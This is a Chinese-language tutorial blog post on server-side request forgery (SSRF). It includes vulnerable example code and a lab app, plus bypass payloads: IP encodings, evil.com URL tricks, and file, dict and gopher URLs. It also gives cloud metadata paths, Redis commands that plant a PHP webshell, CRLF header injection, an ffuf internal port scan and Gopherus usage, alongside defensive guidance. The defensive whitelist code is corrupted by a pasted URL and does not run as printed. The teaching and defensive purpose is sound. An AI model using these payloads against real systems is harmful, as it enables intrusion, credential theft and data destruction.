1. 项目概述:从一次内部渗透测试说起
去年,我们团队在对一个内部业务系统进行授权渗透测试时,遇到了一个典型的场景。目标是一个文件上传功能,允许用户上传一个头像图片,系统会从用户提供的URL去拉取这个图片。乍一看,这个功能平平无奇,但就是在这里,我们通过构造一个指向内部管理接口的URL,成功让服务器“帮”我们发起了一个请求,不仅读取到了服务器本地的敏感配置文件,还间接访问到了内网中一个不对外开放的Redis服务。这个漏洞,就是今天要深入探讨的 SSRF 。
SSRF,全称Server-Side Request Forgery,中文译为 服务器端请求伪造 。它的核心在于,攻击者能够诱使服务器应用程序向攻击者指定的任意地址发起HTTP请求。简单来说,就是你“欺骗”了服务器,让它成为了你的“代理”或“跳板”,去访问那些原本你无法直接触及的网络资源。这个漏洞的危害边界非常模糊,小到读取服务器本地文件,大到成为攻击内网、穿透边界、甚至云环境元数据服务的致命跳板。随着Checkmarx等安全厂商持续发布关于SSRF漏洞的研究报告,以及像“利用SSRF删除管理员后台用户Carlos”这类在真实漏洞赏金平台或CTF比赛中出现的案例,SSRF的热度始终居高不下。它不再是教科书里的一个名词,而是每一个开发、运维和安全工程师都必须正视的实战威胁。
这篇文章,我将从一个实战者的角度,带你从零开始理解SSRF。我们不会停留在概念层面,而是会深入其原理、挖掘其成因、复现其攻击手法,并最终探讨如何从代码和架构层面进行防御。无论你是刚入门安全的新手,还是想巩固知识的老兵,相信都能从中获得一些新的启发和可以直接落地的检查清单。
2. SSRF漏洞原理深度解析
2.1 核心机制:信任边界的错位
要理解SSRF,首先要理解现代Web应用常见的架构模式。一个典型的Web应用分为前端和后端。前端(浏览器)负责展示和交互,后端(服务器)负责业务逻辑和数据处理。当后端需要获取外部资源时,比如根据用户输入的URL抓取网页内容、生成链接预览图、调用第三方API(如支付回调、天气查询)等,它就会扮演一个“客户端”的角色,向指定的地址发起HTTP/HTTPS请求。
SSRF漏洞产生的根源,就在于 服务器对外部请求的目标地址缺乏充分且正确的验证 。服务器默认“信任”了来自前端或客户端传入的URL参数,认为这个URL就是它“应该”去访问的、安全的、外部的地址。然而,攻击者通过精心构造的URL,可以将请求目标指向:
- 服务器自身(127.0.0.1/localhost) :读取服务器上的敏感文件,如
/etc/passwd、/proc/self/environ、应用程序配置文件等。 - 内网其他服务器 :扫描或攻击与Web服务器处于同一内部网络的其他设备,这些设备通常缺乏公网防护,可能存在弱口令或已知漏洞。
- 云服务元数据接口 :在AWS、Google Cloud、阿里云等云环境中,存在一个特殊的内部端点(如
http://169.254.169.254/),用于向云主机实例提供配置和元数据。通过SSRF访问该接口,可能直接获取到云主机的访问密钥、角色令牌等最高权限凭证。 - 第三方服务,但带有恶意参数 :即使目标地址是合法的第三方服务,攻击者也可能通过追加参数进行二次攻击,例如利用该第三方服务的开放重定向漏洞,将请求最终跳转到内网地址。
这里的关键是“信任边界的错位”。服务器认为它发起的请求是“自己人”的请求,因此内网防火墙、云平台的安全组策略、甚至服务自身的认证机制,都可能对这个来自“内部”或“本地”的请求放行。攻击者正是利用了这种“内部身份”,实现了权限提升和横向移动。
2.2 常见触发场景与代码示例
SSRF通常出现在服务器需要主动发起网络请求的功能点上。以下是一些高危的代码模式和业务场景:
场景一:URL抓取或文件下载 这是最经典的场景。例如,一个社交媒体网站允许用户通过输入图片URL来设置头像。
# 漏洞示例 (Python Flask)
from flask import request, send_file
import requests
@app.route('/set_avatar', methods=['POST'])
def set_avatar():
avatar_url = request.form.get('url') # 用户可控的输入
# 服务器未经验证,直接请求该URL
response = requests.get(avatar_url, timeout=5)
# ... 处理图片并保存 ...
return 'Avatar updated!'
攻击者可以传入 file:///etc/passwd 或 http://169.254.169.254/latest/meta-data/ ,服务器就会忠实地去获取这些内容。
场景二:Webhook或回调验证 许多应用在集成第三方服务(如支付网关、OAuth授权)时,需要验证回调URL的有效性,通常会主动发起一个GET请求到该URL。
// 漏洞示例 (Java Spring)
@PostMapping("/webhook/register")
public String registerWebhook(@RequestParam String callbackUrl) {
// 为了验证URL可访问,服务器会先请求一次
RestTemplate restTemplate = new RestTemplate();
try {
ResponseEntity<String> response = restTemplate.getForEntity(callbackUrl, String.class);
if (response.getStatusCode().is2xxSuccessful()) {
// 验证通过,保存callbackUrl
webhookService.save(callbackUrl);
return "Webhook registered!";
}
} catch (Exception e) {
return "URL verification failed.";
}
return "Error";
}
攻击者可以将 callbackUrl 设置为内网地址,服务器在验证阶段就会发起一次SSRF请求。
场景三:文档处理或转码服务 一些在线工具提供将网页转为PDF、获取链接预览信息(OG标签)等功能。这些服务需要先获取目标URL的内容。
// 漏洞示例 (PHP)
$url = $_GET['url']; // 用户输入
$content = file_get_contents($url); // 高危函数!支持多种协议(file, http, ftp等)
// 或者使用cURL,但未对URL进行限制
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch);
// ... 处理 $content 或 $output ...
file_get_contents() 和默认配置的cURL都支持多种URL协议(Scheme),如 file:// 、 gopher:// 、 dict:// ,这极大地扩展了攻击面。
场景四:服务器端包含(SSI)或模板注入的衍生 虽然SSRF主要关注请求伪造,但有时它与服务器端包含(SSI)漏洞结合。如果应用允许用户控制部分模板内容,并且模板引擎支持发起网络请求(如某些SSTI场景),也可能导致SSRF。
注意 :在实际漏洞挖掘中,不要只盯着明显的“url”参数。像“path”、“file”、“load”、“feed”、“api”、“service”、“domain”、“host”、“port”、“callback”、“return”、“redirect”、“view”、“template”、“config”、“data”、“source”等参数名,都可能隐藏着发起请求的逻辑。
2.3 协议与绕过技巧:攻击者的武器库
一个健壮的SSRF漏洞利用,往往需要绕过开发人员设置的一些简单过滤。理解常见的协议和绕过技巧至关重要。
1. 利用不同URL表示法绕过黑名单 开发人员可能会过滤“localhost”、“127.0.0.1”、“192.168.”、“10.”等字符串。
- IP地址的多种格式 :
- 十进制整数格式:
http://2130706433/等价于http://127.0.0.1/(计算方式:127 256^3 + 0 256^2 + 0*256 + 1 = 2130706433)。 - 八进制格式:
http://0177.0.0.1/等价于http://127.0.0.1/(0177是八进制的127)。 - 十六进制格式:
http://0x7f.0x0.0x0.0x1/或http://0x7f000001/。 - 省略格式:
http://127.1/在某些解析器中等价于http://127.0.0.1/。
- 十进制整数格式:
- 利用DNS解析特性 :
- 指向本地回环的域名:
http://localtest.me/、http://127.0.0.1.nip.io/等公共域名会被解析到127.0.0.1。 - 短域名重定向:攻击者可以注册一个域名,将其A记录指向
127.0.0.1或某个内网IP,然后提交该域名。
- 指向本地回环的域名:
- 利用URL解析歧义 :
- 添加端口:
http://127.0.0.1:80@evil.com/,某些旧版库可能将@前的内容解析为认证信息,实际请求发往evil.com。但更常见的是利用#、?、/等。 - 利用畸形URL:如
http://127.0.0.1%00@evil.com/(空字节截断,取决于解析库)。
- 添加端口:
2. 利用不同网络协议扩大攻击面 如果服务器后端使用的网络库(如Python的 requests 、PHP的 cURL 、Java的 URLConnection )支持多种协议,攻击将不再局限于HTTP。
- file协议 :
file:///etc/passwd,直接读取服务器本地文件。 - dict协议 :
dict://127.0.0.1:6379/info,可以用于探测或与Redis、Memcached等内存数据库交互,如果Redis未授权访问,甚至可以直接执行命令。 - gopher协议 :这是一个非常古老的协议,但功能强大。它可以封装成其他协议的请求(如HTTP、Redis、MySQL),实现与内网多种服务的交互,是SSRF攻击中的“瑞士军刀”。例如,构造一个gopher请求来向Redis发送
FLUSHALL命令。 - ftp / sftp / ldap 等协议 :用于与相应的服务进行交互。
3. 利用重定向进行二次跳转 这是绕过“目标地址必须为白名单域名”限制的常用手法。
- 开放重定向 :如果应用允许用户控制重定向参数(如
?redirect=http://evil.com),攻击者可以先提交一个合法的白名单域名URL,该URL包含重定向参数,最终将请求跳转到内网目标。 - 可控内容的302跳转 :攻击者可以在自己控制的服务器上部署一个页面,该页面返回一个302状态码,
Location头指向内网地址。当服务器请求攻击者的页面时,会自动跟随重定向到内网。
4. 利用云元数据服务特定路径 在云环境中,仅仅访问 http://169.254.169.254/ 可能被过滤。但云元数据API通常有多个版本或路径。
- AWS:
http://169.254.169.254/latest/meta-data/,http://169.254.169.254/latest/user-data/,http://169.254.169.254/latest/identity-credentials/ec2/security-credentials/ - Google Cloud:
http://metadata.google.internal/computeMetadata/v1/(需要设置Metadata-Flavor: Google头部) - 阿里云:
http://100.100.100.200/latest/meta-data/攻击者会尝试遍历这些已知路径。
3. 实战演练:手把手挖掘与利用SSRF
理解了原理,我们进入实战环节。我将模拟一个简单的漏洞环境,带你走完从发现到利用的全过程。我们使用一个基于Python Flask的简易应用作为靶场。
3.1 环境搭建与漏洞点定位
首先,我们创建一个存在SSRF漏洞的Flask应用 app.py :
# app.py - 存在SSRF漏洞的示例应用
from flask import Flask, request, render_template_string
import requests
import socket
app = Flask(__name__)
HTML_FORM = '''
<!DOCTYPE html>
<html>
<body>
<h2>链接预览生成器</h2>
<p>输入一个URL,我将为你获取它的标题和描述。</p>
<form action="/preview" method="GET">
链接地址: <input type="text" name="url" size="50" value="https://example.com">
<input type="submit" value="生成预览">
</form>
</body>
</html>
'''
@app.route('/')
def index():
return HTML_FORM
@app.route('/preview')
def preview():
url = request.args.get('url', '')
if not url:
return '请输入URL参数'
# 漏洞点:未对url进行任何过滤和限制,直接用于请求
try:
# 设置一个较短的超时,防止DoS
resp = requests.get(url, timeout=3)
# 简单提取title标签内容
title = '未找到标题'
if '<title>' in resp.text:
title_start = resp.text.find('<title>') + 7
title_end = resp.text.find('</title>', title_start)
title = resp.text[title_start:title_end][:100] # 截取前100字符
return f'''
<h3>链接预览结果</h3>
<p><strong>请求的URL:</strong> {url}</p>
<p><strong>页面标题:</strong> {title}</p>
<p><strong>状态码:</strong> {resp.status_code}</p>
<a href="/">返回</a>
'''
except Exception as e:
return f'请求出错: {str(e)}<br><a href="/">返回</a>'
if __name__ == '__main__':
# 注意:在生产环境中切勿使用debug=True
app.run(host='0.0.0.0', port=5000, debug=True)
同时,我们在同一台机器上模拟一个内网服务,比如一个简单的Redis服务器(仅用于演示,无需密码)。你可以用Docker快速启动一个: docker run -p 6379:6379 --name test-redis -d redis 。如果没有Docker,也可以忽略这一步,用读取本地文件来演示。
启动Flask应用: python app.py 。访问 http://127.0.0.1:5000/ 即可看到页面。
漏洞点分析 :这个应用的 /preview 端点接收一个 url 的GET参数,然后直接用Python的 requests 库去获取内容。没有任何对协议、目标主机、IP地址的限制。
3.2 基础利用:读取本地文件与探测内网
第一步:读取服务器本地文件 在输入框中尝试输入: file:///etc/passwd 提交后,服务器会尝试读取 /etc/passwd 文件。由于 requests.get() 默认不支持 file:// 协议(这是一个安全特性),这个Payload可能直接报错。这提醒我们, 不是所有库都支持所有协议 。为了演示 file 协议,我们可以换用另一个常见的漏洞函数。但我们可以先测试HTTP协议对本地端口的访问。
第二步:探测本地服务端口 输入: http://127.0.0.1:5000/ (访问自己) 如果返回了Flask应用的首页HTML,说明成功。这说明服务器可以访问本地回环地址。
输入: http://127.0.0.1:22 (尝试访问SSH端口) 如果SSH服务正在运行,你可能会收到一个连接超时(因为SSH是TCP协议,不是HTTP)或者一个非HTTP响应。但通过响应时间或错误信息的不同(例如连接被拒绝 vs 连接超时),可以判断该端口是否开放。这就是 端口扫描 。
第三步:探测内网网段 假设服务器内网网段是 192.168.1.0/24 。我们可以尝试: http://192.168.1.1:80 (网关) http://192.168.1.10:8080 (假设的某个内部Web服务) 通过自动化脚本,可以快速扫描整个内网段常见的Web端口(80, 443, 8080, 8000等)。
实操心得 :在实际测试中,端口扫描会产生大量请求,容易被WAF或IDS拦截。建议使用延迟,并优先探测常见的管理后台端口(如22, 21, 23, 3306, 6379, 27017, 9200等),以及云元数据地址
169.254.169.254。
3.3 进阶利用:与无认证的Redis交互
假设我们通过端口扫描发现内网 192.168.1.100 的6379端口开放(Redis)。并且该Redis服务没有设置密码。我们可以尝试利用SSRF与之交互。
由于我们的示例应用使用 requests 库,它只支持HTTP/HTTPS,无法直接发送Redis协议。这时,我们需要借助一个支持更多协议的库,或者利用HTTP协议的一些特性进行“转换”。但在真实漏洞中,如果后端使用的是 curl 命令行、 file_get_contents() (支持 gopher 、 dict )或某些旧版本的网络库,攻击会更容易。
这里我们演示一个思路:如果服务器支持 dict 协议(PHP的 file_get_contents 在某些配置下支持),Payload可能如下: dict://192.168.1.100:6379/info 这个请求会让服务器向Redis发送 INFO 命令,并将结果返回给我们,从而泄露Redis配置、内存信息等。
更危险的攻击是写入Webshell。假设我们知道Web目录的绝对路径是 /var/www/html 。我们可以通过Redis的 SET 命令将PHP代码写入一个文件。这需要构造一个符合Redis协议的请求。虽然 requests 库不行,但我们可以概念性描述一下利用 gopher 协议的攻击流程(在支持gopher的后端环境中):
- 将攻击命令转换成Redis的原始协议格式。例如,想执行:
FLUSHALL SET shell "<?php system($_GET['cmd']);?>" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SAVE - 将这些命令转换成一行,并用
\r\n分隔,再进行URL编码。 - 构造gopher URL:
gopher://192.168.1.100:6379/_[编码后的命令流] - 服务器请求该URL,相当于向Redis发送了这些命令,最终在Web目录生成一个包含PHP代码的
shell.php文件。
重要警告 :上述操作极具破坏性(
FLUSHALL会清空所有数据), 仅限在你自己完全控制的实验环境中进行测试 ,绝对禁止对任何未授权目标尝试。
3.4 利用案例拆解:“删除管理员后台用户Carlos”
这个案例来自PortSwigger的Web安全学院(Burp Suite官方靶场)的一个实验。场景通常是:应用存在一个SSRF漏洞,攻击者可以控制服务器向任意URL发起请求。目标是在管理后台删除一个名为 carlos 的用户。
典型的攻击路径如下:
- 发现SSRF点 :找到一个诸如“库存检查”、“提交反馈”、“获取产品详情”等功能,其请求中包含一个可控的URL参数。
- 确认可利用性 :通过让服务器请求
http://burpcollaborator.net(一个用于接收外部交互的公共服务)或自己的服务器,确认服务器确实发起了请求。 - 探测内网结构 :利用SSRF扫描常见的内部IP和端口,发现一个运行在
192.168.0.x网段的管理后台,例如http://192.168.0.1/admin。 - 访问管理功能 :直接通过SSRF请求管理后台的URL,例如
http://192.168.0.1/admin。但由于管理后台需要认证,通常会返回302跳转到登录页或直接返回401/403。 - 利用管理接口的CSRF漏洞 :关键点在于, 管理后台的删除用户功能可能存在CSRF(跨站请求伪造)保护缺失或缺陷 。也就是说,只要用户已登录(服务器进程访问时,可能携带了来自本地回环或内网IP的信任状态,或者存在默认的Cookie),一个简单的GET或POST请求就能执行删除操作,而不需要验证Token。
- 构造最终攻击Payload :攻击者不再直接请求管理首页,而是构造一个直接触发删除动作的URL。例如,发现删除用户的接口是:
http://192.168.0.1/admin/delete?username=carlos。 - 发起攻击 :将最终的SSRF Payload设置为
http://192.168.0.1/admin/delete?username=carlos。服务器进程(可能已具备管理员会话)请求该地址,成功删除用户carlos。
这个案例的精髓在于 漏洞链的串联 :SSRF提供了进入内网的通道,而内网应用脆弱的访问控制(缺乏二次认证)或存在的CSRF漏洞,使得通过SSRF发起的请求能够直接执行高权限操作。它告诉我们,在评估SSRF危害时,眼光不能只停留在“能访问内网”,更要思考“内网里有什么脆弱的服务”。
4. 自动化探测与工具使用
手动测试SSRF效率较低,尤其是在需要扫描端口或测试多种绕过方式时。安全研究人员通常会借助一些工具。
4.1 使用Burp Suite Collaborator进行带外检测
Burp Suite Professional的Collaborator功能是检测“盲SSRF”的神器。盲SSRF是指应用存在SSRF漏洞,但响应中不会直接返回目标请求的内容(例如,请求在后台异步执行,或者错误信息被屏蔽)。
操作流程:
- 在Burp中,打开“Burp Collaborator client”,点击“Copy to clipboard”生成一个唯一的Collaborator域名(如
xxxxx.oastify.com)。 - 在可能存在SSRF的参数处,插入这个域名,例如将
url参数值设为http://xxxxx.oastify.com。 - 提交请求。
- 回到Collaborator client,点击“Poll now”。如果服务器端发起了请求,你将会看到DNS查询和HTTP交互的记录。
这能证明服务器确实向外部发起了请求,即使应用页面没有任何回显。
4.2 使用ffuf进行内网端口扫描
ffuf是一个快速的Web模糊测试工具。我们可以用它来通过SSRF漏洞扫描内网端口。
假设我们发现一个SSRF参数 url ,并且知道服务器会请求我们给定的地址。我们可以这样构造命令:
ffuf -w /usr/share/seclists/Discovery/Infrastructure/internal-ips.txt:IP -w common-ports.txt:PORT -u "http://vulnerable-site.com/vuln-endpoint?url=http://FUZZ:PORT/" -fr "Connection refused" -t 50
解释:
-
-w internal-ips.txt:IP:使用内部IP地址字典作为FUZZ占位符。 -
-w common-ports.txt:PORT:使用常见端口字典作为第二个FUZZ占位符。 -
-u:目标URL,其中FUZZ和PORT会被替换。 -
-fr "Connection refused":过滤掉响应中包含“Connection refused”的结果(通常意味着端口关闭)。我们只关注有响应或无此错误的请求(可能是端口开放)。 -
-t 50:设置50个线程。
注意事项 :这种扫描会产生大量请求,可能对目标服务器和内网造成影响,必须在授权测试范围内进行。同时,需要根据应用的实际响应来调整过滤规则( -fr 或 -fc 、 -fs )。
4.3 使用Gopherus等工具生成高级Payload
对于需要与特定协议(如Redis、MySQL、FastCGI)交互的复杂攻击,手动构造协议包非常困难。我们可以使用自动化工具。
以 Gopherus 为例,它专门用于生成攻击Redis、MySQL、PostgreSQL等服务的gopher协议Payload。
# 安装
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
# 使用
python gopherus.py --help
# 生成攻击Redis的Payload
python gopherus.py --redis # 然后交互式输入想执行的命令或webshell路径
工具会输出一个已经编码好的gopher URL。你只需要将这个URL作为SSRF的输入即可。这大大降低了利用难度。
工具使用心得 :自动化工具虽好,但绝不能当“黑盒”使用。务必理解工具生成的Payload原理,知道它在做什么(例如,向Redis发送了哪些命令),否则在复杂环境或遇到WAF时,你将无法调整Payload进行绕过。同时,工具的利用链可能过时,需要根据目标服务的具体版本和配置进行调整。
5. 防御策略:从代码到架构的多层防护
防御SSRF是一个系统工程,需要在多个层面布防。
5.1 输入验证与过滤:白名单优于黑名单
首选方案:白名单机制 如果业务上只允许访问少数几个固定的外部域名或资源,那么建立白名单是最有效的方法。
import re
from urllib.parse import urlparse
ALLOWED_DOMAINS = ['api.trusted-service.com', 'cdn.trusted-site.net']
def is_allowed_https://blog.csdn.net/url(url):
try:
parsed = urlparse(url)
# 检查协议,只允许http和https
if parsed.scheme not in ('http', 'https'):
return False
# 检查域名是否在白名单内
if parsed.hostname not in ALLOWED_DOMAINS:
return False
# 可选:检查端口是否在允许范围内(如80, 443)
if parsed.port and parsed.port not in (80, 443):
return False
return True
except Exception:
return False
# 在使用URL前
user_url = request.args.get('url')
if not is_allowed_url(https://blog.csdn.net/user_url):
return "Invalid URL", 400
次选方案:黑名单与正则过滤(并理解其局限) 如果业务上必须允许用户输入任意URL,黑名单是必要的补充,但绝不能作为唯一防线。
- 过滤危险协议 :直接拒绝
file://、gopher://、dict://、ftp://等非HTTP(S)协议。 - 过滤内网IP段 :使用正则表达式匹配
127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16等RFC私有地址段,以及localhost、*.local等本地域名。 - 过滤云元数据IP :过滤
169.254.169.254、100.100.100.200等。 - 注意绕过 :务必同时检查IP的各种表示法(十进制、八进制、十六进制、短格式)和可能的域名重定向。
5.2 网络层控制:限制出站流量
即使应用层过滤被绕过,网络层的限制可以作为最后一道防线。
- 出口防火墙规则 :在服务器或网络边界上配置严格的出口防火墙规则。只允许Web服务器进程向必要的、已知的外部IP和端口发起出站连接。例如,一个普通的Web应用可能只需要访问80和443端口。 禁止服务器访问内网其他业务段和云元数据地址 。
- 使用网络命名空间或容器 :将需要发起外部请求的服务运行在独立的网络命名空间或Docker容器中,为该环境配置独立的、受限的网络策略。
- 使用代理服务器 :配置应用通过一个正向代理(如Squid)访问外部网络,并在代理服务器上设置严格的访问控制列表(ACL),只允许访问白名单域名。
5.3 安全开发库与配置
- 使用安全的URL获取库 :许多语言的标准库或常用库提供了更安全的选项。
- Python :避免直接使用
requests.get(user_input)。可以使用urllib.parse仔细解析URL,并使用白名单。或者,使用requests时,结合urlparse进行前置验证。 - Java :使用
java.net.URI而非java.net.URL,因为URI更严格。同时,配置HttpURLConnection或使用Apache HttpClient时,禁止自动跟随重定向(setFollowRedirects(false)),手动处理重定向并验证目标地址。 - PHP :禁用危险的协议。在
php.ini中设置allow_url_fopen = Off和allow_url_include = Off。如果必须使用,用parse_url()函数仔细解析,并避免使用file_get_contents()处理用户输入的URL。
- Python :避免直接使用
- 禁用不必要的URL协议支持 :检查并确保应用程序使用的网络库不支持
gopher、dict、file等危险协议。
5.4 响应处理与错误信息
- 统一错误处理 :当请求外部URL失败时,返回统一的、信息模糊的错误提示,如“服务暂时不可用”。避免将后端请求的具体错误信息(如“连接192.168.1.1:22被拒绝”)直接返回给用户,这会帮助攻击者进行端口扫描。
- 设置超时和大小限制 :为外部请求设置合理的超时时间(如3-5秒)和响应体大小限制,防止攻击者利用SSRF进行DoS攻击(例如请求一个无限返回数据的慢速服务,拖垮服务器资源)。
5.5 定期安全评估与监控
- 代码审计 :在代码审查阶段,重点关注所有发起外部网络请求的地方,检查参数是否用户可控,验证逻辑是否充分。
- 渗透测试 :定期进行内部和外部渗透测试,将SSRF作为重点测试项目。使用Burp Collaborator等工具进行盲测。
- 日志监控 :集中收集服务器日志,监控异常的外部请求模式,例如大量对本地地址、内网IP或云元数据地址的请求。
6. 疑难排查与进阶挑战
在实际渗透测试或代码审计中,SSRF的利用不会总是一帆风顺。以下是一些常见问题和进阶挑战的应对思路。
6.1 盲SSRF的确认与利用
如果应用没有回显,如何确认SSRF存在?
- DNS带外(OOB) :如前所述,使用Burp Collaborator或DNSLog等平台。这是最有效的方法。
- 时间延迟 :尝试让服务器访问一个你控制的、会故意延迟响应的端点(例如,你的服务器在收到请求后
sleep(10)秒再返回)。观察应用的响应时间是否显著变长。但这方法受网络环境影响大,不十分可靠。 - 错误差异 :尝试访问一个肯定不存在的端口(如
http://127.0.0.1:99999)和一个可能开放的端口(如http://127.0.0.1:22)。虽然都失败,但错误信息可能有细微差别(如“连接被拒绝” vs “连接超时”)。这需要仔细对比。
6.2 遇到WAF/过滤如何绕过
现代WAF通常会拦截包含内网IP、特殊协议或敏感路径的请求。
- IP地址编码绕过 :尝试所有之前提到的IP格式(十进制、八进制、十六进制、短格式)。
- 利用URL解析差异 :WAF、反向代理(Nginx/Apache)、后端应用代码对URL的解析可能不一致。
- 利用
@:http://foo@127.0.0.1可能被WAF解析为访问foo,而后端解析为访问127.0.0.1(带认证)。但现代WAF大多能识别。 - 利用
#:http://127.0.0.1#@evil.com,#后的部分是片段标识符,有些解析器会忽略,实际请求127.0.0.1。 - 利用DNS重绑定 :这是高级绕过技术。你注册一个域名,将其A记录TTL设为极短,并指向一个公网IP。当WAF第一次解析域名时,得到的是合法的公网IP,放行了请求。但在服务器真正发起请求的瞬间(TTL过期后重新解析),你将域名的A记录改为
127.0.0.1。这样,WAF看到的是合法IP,而服务器请求的却是本地回环。这需要精细的时间控制。
- 利用
- 利用白名单域名重定向 :寻找应用白名单域名下的开放重定向漏洞。提交
http://whitelisted.com/redirect.php?url=http://169.254.169.254,如果白名单域名存在重定向漏洞,服务器会先请求白名单域名,然后被重定向到元数据地址。 - 协议混淆 :尝试使用
HTTPS协议访问内网HTTP服务,或者使用非常用端口。
6.3 针对云环境(AWS, GCP, Azure)的特殊利用
云环境的元数据服务是SSRF的“高价值目标”。
- 识别云厂商 :通过服务器HTTP响应头、错误页面样式、IP地址归属等判断目标可能运行在哪个云上。
- 尝试所有已知元数据端点 :不同云厂商、不同版本的端点路径可能不同。使用字典进行路径爆破。
- 注意请求头 :Google Cloud的元数据服务需要
Metadata-Flavor: Google请求头。这意味着简单的GET请求可能返回403。你需要通过SSRF控制请求头。如果SSRF点支持设置Header(例如通过X-Forwarded-For等参数注入),或者能利用CRLF注入在URL中插入换行符来添加Header,就有可能成功。- CRLF注入示例:
http://169.254.169.254/%0d%0aMetadata-Flavor:%20Google%0d%0a。如果后端处理URL不当,%0d%0a会被解释为换行,从而在请求中插入新的Header。
- CRLF注入示例:
- 利用实例角色 :获取元数据中的临时安全凭证后,攻击者可以使用AWS CLI或SDK在云环境中进行横向移动,权限可能非常大。
6.4 SSRF与其他漏洞的组合拳
单纯的SSRF可能只能信息泄露,但结合其他漏洞,危害会指数级上升。
- SSRF + Redis未授权访问 :如前所述,可导致RCE或数据破坏。
- SSRF + FastCGI :如果内网存在暴露的FastCGI服务(如PHP-FPM),可以通过SSRF构造FastCGI协议包,执行任意PHP代码。
- SSRF + 内部服务漏洞 :SSRF访问到的内部服务本身可能存在SQL注入、命令注入、反序列化等漏洞。攻击者可以通过SSRF,以服务器的身份向这些漏洞点发送精心构造的Payload。
- SSRF + XXE :有些场景下,SSRF可能由XXE(外部实体注入)触发。反之,如果SSRF的响应以XML格式返回并被解析,也可能引入XXE。
面对一个潜在的SSRF点,我的排查思路通常是:先确认漏洞存在(OOB),再尝试基础利用(读文件、扫端口),接着尝试协议扩展(如支持gopher吗?),然后探测高价值目标(云元数据、Redis等),最后思考如何与内网其他漏洞串联。防御则必须坚持“纵深防御”原则,在应用层、网络层、架构层层层设卡,因为攻击者总会找到最薄弱的那一环。
4055

被折叠的 条评论
为什么被折叠?



